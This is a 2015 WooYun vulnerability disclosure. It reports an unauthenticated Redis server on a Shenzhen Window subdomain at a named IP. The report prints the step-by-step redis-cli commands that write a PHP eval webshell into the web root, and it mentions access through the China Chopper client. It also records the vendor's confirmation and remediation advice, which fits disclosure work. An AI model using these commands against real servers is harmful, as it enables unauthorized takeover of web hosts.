当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0105627

漏洞标题:深圳之窗某分站存在redis无认证可写入webshell

相关厂商:深圳之窗

漏洞作者: 路人甲

提交时间:2015-04-03 18:11

修复时间:2015-05-22 14:52

公开时间:2015-05-22 14:52

漏洞类型:未授权访问/权限绕过

危害等级:中

自评Rank:8

漏洞状态:已交由第三方合作机构(广东省信息安全测评中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-03: 细节已通知厂商并且等待厂商处理中
2015-04-07: 厂商已经确认,细节仅向厂商公开
2015-04-17: 细节向核心白帽子及相关领域专家公开
2015-04-27: 细节向普通白帽子公开
2015-05-07: 细节向实习白帽子公开
2015-05-22: 细节向公众公开

简要描述:

如题,最近这么多redis默认端口不加密的

详细说明:

站点:
http://app.shenchuang.com
1.phpinfo:
http://app.shenchuang.com/info.php

php_info.jpg


由上图可以看到该站在服务器上的对应路径。
2.redis未认证:
[kali@ ~]# redis-cli -h 121.14.127.101 ping
PONG
3.结合上面看到的web目录,写入webshell。
redis 121.14.127.101:6379> INFO
# Server
redis_version:2.6.12
....
os:Linux 2.6.18-308.el5 x86_64
arch_bits:64
...
# Memory
used_memory:856272
used_memory_human:836.20K
used_memory_rss:1859584
used_memory_peak:954848
used_memory_peak_human:932.47K
...
4.可见key也不会多,那么直接搞起了
redis 121.14.127.101:6379> config set dbfilename hd.php
OK
redis 121.14.127.101:6379> set k "<?php eval($_POST['cmd'])?>"
OK
redis 121.14.127.101:6379> save
OK
5.浏览器访问webshell地址

webshell.jpg


可以看到成功写入webshell了,那就上中国菜刀了

漏洞证明:

1.php_info

php_info.jpg


2.中国菜刀进行文件管理

caidao.jpg


虽然可以进行下载,但是管理人员还是比较机智的,目录下面没法写入,shell也无法执行命令。

修复方案:

1.redis端口不直接对外,加认证,修改默认端口;
2.web站点删除php_info之类的敏感信息。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-04-07 14:50

厂商回复:

非常感谢您的报告。
报告中的问题已确认并复现.
影响的数据:高
攻击成本:低
造成影响:高
综合评级为:高,rank:15
正在联系相关网站管理单位处置。

最新状态:

暂无